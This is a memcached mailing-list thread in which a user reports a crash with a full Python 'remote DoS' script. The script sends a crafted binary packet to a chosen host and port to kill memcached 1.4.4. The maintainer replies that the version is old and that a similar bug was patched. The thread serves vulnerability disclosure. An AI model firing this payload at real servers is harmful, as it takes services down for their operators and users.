can you... try against a version that isn't four years old? we patched something similar to this a while back.
On Wed, 23 Apr 2014, Filippe Costa Spolti wrote: > memcached 1.4.4 > > > > Regards, > ______________________________________ > Filippe Costa Spolti > Linux User n°515639 - http://counter.li.org/ > filippespo...@gmail.com > "Be yourself" > [IMAGE] > On 04/23/2014 06:24 PM, dormando wrote: > > what version are you testing? > > On Wed, 23 Apr 2014, Filippe Costa Spolti wrote: > > Hello everyone. > THis python script crash the memcached. > > import sys > import socket > > print "Memcached Remote DoS - Bursting Clouds yo!" > if len(sys.argv) != 3: > print "Usage: %s <host> <port>" %(sys.argv[0]) > sys.exit(1) > > target = sys.argv[1] > port = sys.argv[2] > > print "[+] Target Host: %s" %(target) > print "[+] Target Port: %s" %(port) > > kill = """\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff""" > kill +="""\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""" > kill +="""\x00\xff\xff\xff\xff\x01\x00\x00\0xabad1dea""" > > hax = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) > try: > hax.connect((target, int(port))) > print "[+] Connected, firing payload!" > except: > print "[-] Connection Failed... Is there even a target?" > sys.exit(1) > try: > hax.send(kill) > print "[+] Payload Sent!" > except: > print "[-] Payload Sending Failure... WTF?" > sys.exit(1) > hax.close() > print "[*] Should be dead..." > > -- > Regards, > ______________________________________ > Filippe Costa Spolti > Linux User n°515639 - http://counter.li.org/ > filippespo...@gmail.com > "Be yourself" > [IMAGE] > > -- > > --- > You received this message because you are subscribed to the Google Groups > "memcached" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to memcached+unsubscr...@googlegroups.com. > For more options, visit https://groups.google.com/d/optout. > > > > -- > > --- > You received this message because you are subscribed to the Google Groups > "memcached" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to memcached+unsubscr...@googlegroups.com. > For more options, visit https://groups.google.com/d/optout. > > -- --- You received this message because you are subscribed to the Google Groups "memcached" group. To unsubscribe from this group and stop receiving emails from it, send an email to memcached+unsubscr...@googlegroups.com. For more options, visit https://groups.google.com/d/optout.
